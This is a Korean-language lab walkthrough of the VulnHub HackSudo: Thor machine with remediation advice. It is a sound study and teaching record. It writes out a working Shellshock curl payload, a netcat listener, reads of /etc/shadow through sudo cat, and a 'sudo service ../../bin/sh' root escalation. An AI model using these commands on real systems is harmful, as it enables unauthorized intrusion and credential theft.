CTF 모의해킹

[VulnHub] HackSudo: Thor — Walkthrough

dkdl946 2026. 6. 23. 22:38

VulnHub HackSudo: Thor 모의해킹 실습 — Shellshock부터 sudo service 권한 상승까지

이 글은 개인 격리 환경에 구성한 의도적으로 취약한 VulnHub 머신을 대상으로 진행한 학습 기록이다. 허가받지 않은 시스템에는 동일한 절차를 적용하지 않는다.

1. 실습 개요

  • 대상 머신: HackSudo: Thor
  • 대상 주소: 192.168.35.101
  • 실습 환경: Kali Linux, 격리된 가상 네트워크
  • 목표: 웹 서비스를 열거해 초기 셸을 획득하고 www-data → thor → root 순서로 권한을 상승한다.
  • 주요 도구: Nmap, curl, Gobuster, Netcat, Python, sudo

전체 공격 흐름은 다음과 같았다.

웹 서비스 열거
  → /cgi-bin/shell.sh 발견
  → Shellshock 원격 명령 실행 확인
  → www-data 리버스 셸 획득
  → sudo hammer.sh를 통한 thor 권한 획득
  → sudo service의 경로 처리 악용
  → root 권한 획득

이번 실습에서는 여러 경로를 동시에 의심했다. 웹페이지 이스터에그와 이미지 스테가노그래피, 관리자 로그인 폼도 조사했지만 최종 공격 경로는 아니었다. 실패한 분석을 중단하고 CGI의 비정상 응답으로 방향을 전환한 과정까지 기록했다.

2. 서비스 정보 수집

먼저 Nmap으로 열린 포트와 서비스 버전을 확인했다.

sudo nmap -p- -A 192.168.35.101

확인된 주요 서비스는 다음과 같았다.

21/tcp FTP filtered
22/tcp SSH OpenSSH 7.9p1 Debian
80/tcp HTTP Apache httpd 2.4.38 Debian

웹페이지에는 HackSudo-Thor라는 이름의 인터넷 뱅킹 형태 사이트와 로그인 폼이 표시됐다.
초기 단계에서는 페이지 소스, 외부 JavaScript, 이미지 경로, 로그인 처리 방식과 공개 경로를 함께 조사했다.

Nmap 전체 포트 및 서비스 탐색
HackSudo-Thor 웹 메인 화면

3. 웹페이지 이스터에그 분석

페이지 소스에서 eEgg_func() 함수와 숨겨진 모달을 발견했다. 함수가 1초 이하 간격으로 연속 실행되면 count가 증가하고, 7을 초과하면 모달이 표시되는 구조였다.

if ((new_time - old_time) <= 1) {
    count++;
} else {
    count = 1;
}

if (count > 7 && !eEgg_flag) {
    modal.style.display = "block";
    eEgg_flag = true;
}

브라우저 개발자 도구에서는 다음처럼 직접 동작을 재현할 수 있다.

for (let i = 0; i < 8; i++) eEgg_func();

모달의 HTML에서는 pennywise.jpg 이미지와 영화·소설 「It」을 연상시키는 문구를 확인했다.

페이지 소스의 이스터에그 로직 확인

4. 이미지 스테가노그래피 오판과 검증

처음에는 pennywise.jpg가 초기 침투 단서를 숨긴 파일일 가능성을 의심했다.

wget 'http://192.168.35.101/images/pennywise.jpg' -O pennywise.jpg
file pennywise.jpg
jpeginfo -c pennywise.jpg
exiftool pennywise.jpg
binwalk pennywise.jpg
steghide info pennywise.jpg

steghide info가 약 3.6KB의 capacity와 passphrase 입력을 표시해 처음에는 숨겨진 데이터가 존재한다고 해석했다. rockyou.txt와 페이지 문구로 만든 맞춤형 목록을 적용했지만 유효한 passphrase를 찾지 못했다.

stegseek pennywise.jpg /usr/share/wordlists/rockyou.txt
stegseek pennywise.jpg pennywise-words.txt

마지막으로 전체 seed 공간을 검증했다.

stegseek --seed -v pennywise.jpg

유효한 seed가 발견되지 않았고 파일 형식과 크기도 정상 JPEG와 일치했다. 따라서 이 이미지는 공격 경로가 아니라 장식용 이스터에그로 판단했다.

여기서 배운 점은 capacity가 실제로 숨겨진 데이터의 크기가 아니라 해당 이미지에 숨길 수 있는 최대 용량이라는 것이다. 도구가 passphrase를 질문한다는 사실 역시 payload의 존재를 보장하지 않는다.

외부 JavaScript 파일도 조사했지만, jQuery requires a window with a document, noConflict 등의 문자열을 통해 사이트 고유 코드가 아닌 minified jQuery 라이브러리임을 확인하고 분석 범위에서 제외했다.

스테가노그래피 가설 검증 실패

5. 웹 경로 열거

Gobuster를 이용해 웹 루트의 파일과 디렉터리를 조사했다.

gobuster dir \
  -u 'http://192.168.35.101/' \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt,bak,old,zip,tar,gz \
  -t 30

주요 결과는 다음과 같았다.

경로 응답 초기 판단
/admin_login.php 200 관리자 인증 입력점
/connect.php 200, Size 0 DB 연결용 include 가능성
/transactions.php 302 인증 필요 페이지 가능성
/customer_profile.php 302 인증 필요 페이지 가능성
/server-status 403 접근 제한
/cgi-bin/ 403 내부 파일 직접 요청 필요

403은 경로가 무조건 없다는 뜻이 아니다. /cgi-bin/ 디렉터리 목록 접근은 차단됐지만 내부 CGI 파일에 대한 직접 요청 가능성은 별도로 확인해야 했다.

웹 루트 경로 및 파일 열거

6. 관리자 로그인 폼 분석과 요청 실수

관리자 로그인 폼의 HTML을 확인했다.

<form action="admin_login_action.php" method="post">
    <input type="text" name="admin_uname" required>
    <input type="password" name="admin_psw" required>
</form>

처음에는 처리 페이지와 입력 필드명을 확인하지 않고 다음처럼 요청했다.

curl -X POST \
  -d 'username=test&password=test' \
  'http://192.168.35.101/admin_login.php'

하지만 실제 요청은 admin_login_action.php로 전달해야 했고 필드명도 admin_uname, admin_psw였다.

curl -si \
  -c cookies.txt \
  -d 'admin_uname=test&admin_psw=test' \
  'http://192.168.35.101/admin_login_action.php'

로그인 실패 응답은 302 Found와 함께 다음 위치로 이동했다.

Location: admin_login.php?loginFailed=true

성공과 실패가 모두 302일 수 있으므로 상태 코드만 볼 것이 아니라 Location, 세션 쿠키, 응답 본문을 비교해야 한다.

SQL Injection 가능성을 확인할 때는 셸 따옴표와 실제 HTTP 전송 문자를 혼동하기도 했다. 복잡한 입력은 %27 같은 퍼센트 인코딩이나 --data-urlencode를 사용해 전송 값을 명확히 해야 한다는 점을 배웠다.

curl -si \
  -d 'admin_uname=%27%20OR%201%3D1%20--%20-&admin_psw=test' \
  'http://192.168.35.101/admin_login_action.php'

관리자 로그인 폼은 추가 공격 가능성을 조사하는 입력점이었지만, 이번 머신의 최종 침투 경로는 아니었다.

관리자 로그인 폼과 필드명 분석

7. CGI 파일 열거와 확장자 옵션

/cgi-bin/ 내부를 처음 탐색할 때 확장자를 붙이지 않으면 common.txt의 shell, backup만 요청하게 된다. 실제 파일명인 shell.sh, backup.cgi를 생성하려면 관련 확장자를 결합해야 했다.

gobuster dir \
  -u 'http://192.168.35.101/cgi-bin' \
  -w /usr/share/wordlists/dirb/common.txt \
  -x sh,cgi \
  -t 30

요청 수는 다음과 같이 증가한다.

4,613 × (원본 + .sh + .cgi) = 13,839

탐색 결과 shell.sh와 backup.cgi가 500 응답 또는 unexpected EOF를 반환했다.

처음에는 raft-medium-files.txt 같은 파일 목록이면 확장자 옵션이 필요 없다고 일반화했다. 하지만 해당 목록에 두 파일명이 없었기 때문에 이번에는 common.txt + -x sh,cgi 조합이 결정적이었다.

CGI 확장자 열거로 shell.sh와 backup.cgi 발견

8. HTTP 500과 unexpected EOF 판단

500 Internal Server Error는 단순히 버릴 실패 결과처럼 보였다. 그러나 CGI 경로에서 500이 발생했다는 것은 요청한 파일이 존재하고 서버가 이를 실행하려 했지만 내부에서 오류가 발생했을 가능성을 의미한다.

수동 요청으로 후보와 존재하지 않는 파일을 비교했다.

curl -i 'http://192.168.35.101/cgi-bin/shell.sh'
curl -i 'http://192.168.35.101/cgi-bin/backup.cgi'
curl -i 'http://192.168.35.101/cgi-bin/notreal123.cgi'
  • 후보 파일: 500 Internal Server Error
  • 존재하지 않는 파일: 404 Not Found
  • unexpected EOF: 서버 또는 CGI가 응답을 끝까지 보내기 전에 연결 종료

응답이 정상적인 200이 아니더라도 서로 다른 오류를 비교하면 파일의 존재와 처리 방식을 추론할 수 있었다.

존재하는 CGI와 404 응답 비교

9. Shellshock 확인

.sh 파일이 CGI 디렉터리에서 실행되고 있다는 점을 바탕으로 Bash CGI의 Shellshock 취약점을 확인했다.

nmap -p80 \
  --script http-shellshock \
  --script-args uri=/cgi-bin/shell.sh \
  192.168.35.101

Nmap 스크립트는 대상이 CVE-2014-6271에 취약하다고 판단했다.

스캐너 결과만 믿지 않고 영향이 작은 id 명령으로 수동 검증했다.

curl -i \
  -H 'User-Agent: () { :; }; echo Content-Type: text/plain; echo; /usr/bin/id' \
  'http://192.168.35.101/cgi-bin/shell.sh'

응답에서 www-data의 UID와 GID가 출력되면서 원격 명령 실행이 확인됐다.

Shellshock는 조작된 환경변수 값에 포함된 함수 정의 뒤의 명령을 취약한 Bash가 추가로 실행하는 문제다. CGI는 HTTP 헤더를 환경변수로 전달할 수 있으므로, 취약한 Bash CGI와 결합하면 원격 명령 실행으로 이어질 수 있다.

Nmap 스크립트로 Shellshock 가능성 확인
id 명령으로 Shellshock 원격 실행 수동 검증

10. www-data 리버스 셸 획득

Kali에서 리스너를 실행했다.

nc -lvnp 4444

Shellshock 요청의 후속 명령으로 Bash 리버스 셸을 실행해 www-data 셸을 획득했다.

whoami
pwd

초기 리버스 셸은 완전한 터미널이 아니어서 명령 에코와 tty 관련 문제가 발생할 수 있었다. Python으로 PTY를 생성해 상호작용을 개선했다.

python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data 리버스 셸 획득

11. 1차 권한 상승: www-data에서 thor로

현재 사용자의 sudo 권한을 확인했다.

sudo -l

www-data는 다음 스크립트를 비밀번호 없이 thor 권한으로 실행할 수 있었다.

(thor) NOPASSWD: /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.sh

스크립트는 대화를 진행한 뒤 사용자가 입력한 명령을 실행했다. 처음에는 ls를 입력해 명령 하나만 thor 권한으로 실행됐고, 스크립트가 종료되자 원래 www-data 셸로 돌아왔다.

권한 상승이 실패한 것이 아니라 thor 권한의 단일 프로세스가 끝난 것이었다. 다음 시도에서는 지속되는 셸 프로그램을 실행했다.

HELLO want to talk to Thor?
yes
/bin/bash

경로와 철자에 대한 시행착오

/home/thor/./hammer.sh의 ./를 처음에는 숨김 파일 표기로 오해했다. 하지만 다음 두 경로는 동일하다.

/home/thor/./hammer.sh
/home/thor/hammer.sh

./는 현재 디렉터리를 의미하며 숨김 파일은 .hammer.sh처럼 파일명 자체가 점으로 시작해야 한다.

또한 hammer.sh를 hameer.sh로 잘못 입력하자 sudoers의 정확한 허용 경로와 일치하지 않아 비밀번호 및 tty 오류가 발생했다.

sudo 권한 상승에서는 비슷한 명령이 아니라 sudo -l에 표시된 사용자, 실행 파일과 경로가 정확히 일치해야 한다.

sudo 허용 스크립트를 통한 thor 전환
sudoers 경로 오타로 발생한 시행착오

12. thor의 sudo 권한 분석

thor 셸에서 다시 sudo -l을 확인했다.

(root) NOPASSWD: /usr/bin/cat, /usr/sbin/service

처음에는 cat 뒤에 ls나 Bash를 적으면 해당 명령이 실행될 수 있다고 생각했다. 하지만 cat은 파일 내용을 출력하는 프로그램이다.

sudo /usr/bin/cat /etc/shadow       # 민감 파일 읽기 가능
sudo /usr/bin/cat /root/root.txt    # root 전용 파일 읽기 가능
sudo /usr/bin/cat /bin/bash         # Bash 실행이 아니라 바이너리 출력

반면 service는 Apache나 SSH 같은 시스템 서비스 스크립트를 찾아 실행하는 래퍼 프로그램이다. 단순 파일 읽기가 아니라 다른 프로그램을 실행하는 기능이 있기 때문에 권한 상승 가능성을 조사했다.

sudo -u root /usr/sbin/service apache2 status

thor 계정의 root sudo 권한 확인

13. 2차 권한 상승: service 경로 조작

sudoers는 /usr/sbin/service 실행은 허용했지만 전달 가능한 서비스명과 인자를 제한하지 않았다.

sudo -u root /usr/sbin/service ../../bin/sh

service가 서비스 이름을 /etc/init.d/ 아래에서 찾는다고 보면 전달한 경로는 다음처럼 해석된다.

/etc/init.d/../../bin/sh
  → /etc/../bin/sh
  → /bin/sh

/usr/sbin/service는 이미 sudo를 통해 root 권한으로 실행되고 있다. service가 실행한 /bin/sh는 자식 프로세스로서 부모의 root 권한을 상속했다.

whoami
id
cd /root
cat root.txt

root 권한으로 service 실행 흐름 확인
service 경로 조작을 통한 root 셸 획득

14. 공격 경로와 취약 설정 정리

초기 침투 취약한 Bash CGI와 Shellshock www-data 권한의 원격 명령 실행
1차 권한 상승 www-data가 thor 권한으로 입력값 실행 스크립트 사용 가능 thor 셸 획득
정보 접근 thor가 root 권한으로 cat 실행 가능 민감 파일 읽기 가능
2차 권한 상승 인자 제한 없이 root 권한의 service 실행 허용 경로 조작을 통한 root 셸 획득

개선 방안

  • 취약한 Bash를 지원되는 최신 버전으로 업데이트하고 불필요한 CGI 기능을 비활성화한다.
  • CGI 스크립트가 필요한 경우 입력값과 환경변수를 제한하고 최소 권한 계정으로 실행한다.
  • 사용자 입력을 셸 명령으로 전달하는 스크립트 구조를 제거하고 허용된 동작만 명시적으로 구현한다.
  • sudoers에는 실행 파일만 허용하지 말고 가능한 인자까지 제한한다.
  • service, 셸, 인터프리터처럼 다른 프로그램을 실행할 수 있는 도구에 광범위한 NOPASSWD 권한을 주지 않는다.
  • cat sudo 권한도 /etc/shadow, 개인키, 설정 파일 등 민감정보 노출로 이어질 수 있으므로 제거하거나 읽을 파일을 제한한다.

15. 시행착오를 통해 배운 점

이번 머신에서는 처음 의심한 경로가 실제 공격 경로가 아닌 경우가 많았다.

  1. capacity와 payload는 다르다. 이미지에 데이터를 숨길 공간이 있다는 사실은 실제 데이터가 있다는 뜻이 아니다.
  2. 공용 라이브러리와 고유 코드를 구분해야 한다. minified jQuery를 계속 분석해도 사이트 고유 단서는 나오지 않는다.
  3. HTML 폼을 먼저 읽어야 한다. action, method, input name을 확인하지 않으면 엉뚱한 요청을 보내게 된다.
  4. 워드리스트 이름을 과신하면 안 된다. 파일 목록도 모든 파일명을 포함하지 않으며, CGI처럼 기술 스택을 알 수 있을 때는 관련 확장자를 조합해야 한다.
  5. 오류 응답도 정보다. 500과 EOF를 404와 비교하면서 CGI 파일의 존재와 실행 가능성을 추론했다.
  6. 스캐너 결과는 수동으로 재검증한다. Nmap의 Shellshock 결과를 id 명령으로 확인한 뒤 리버스 셸로 진행했다.
  7. sudo는 명령뿐 아니라 대상 사용자를 확인한다. (thor)와 (root)를 구분하고 sudo -u를 정확히 사용해야 한다.
  8. 허용 프로그램의 정상 기능을 먼저 이해한다. cat은 파일을 읽지만 service는 다른 실행 파일을 호출할 수 있다.

LupinOne 실습에서는 soft 404와 wordlist 선택이 큰 학습 포인트였다면, 이번에는 HTTP 오류 응답의 의미와 sudo 프로그램의 정상 기능을 권한 상승 경로로 연결하는 과정이 핵심이었다.

16. 마무리

HackSudo: Thor는 웹 열거, CGI 분석, Shellshock, 리버스 셸, 사용자 전환과 sudo 권한 상승을 하나의 공격 흐름으로 경험할 수 있는 머신이었다.

가장 중요한 교훈은 결과가 정상적인 200 OK가 아니어도 버리지 않는 것이다. /cgi-bin/shell.sh의 500 응답은 실패처럼 보였지만, 파일이 존재하고 내부에서 실행되고 있다는 단서가 됐다. 이후 Bash CGI라는 기술적 맥락을 Shellshock 취약점과 연결하면서 초기 셸을 획득할 수 있었다.

권한 상승 단계에서도 단순히 GTFOBins 명령을 복사하는 것보다 다음 흐름을 이해하는 것이 중요했다.

sudoers에서 허용 사용자와 명령 확인
  → 프로그램의 정상 기능 분석
  → 입력값·인자·경로 처리 확인
  → 자식 프로세스의 권한 상속 확인

여러 오판과 철자 실수가 있었지만, 오류를 수동 요청과 비교 실험으로 검증하면서 최종 공격 경로를 좁힐 수 있었다.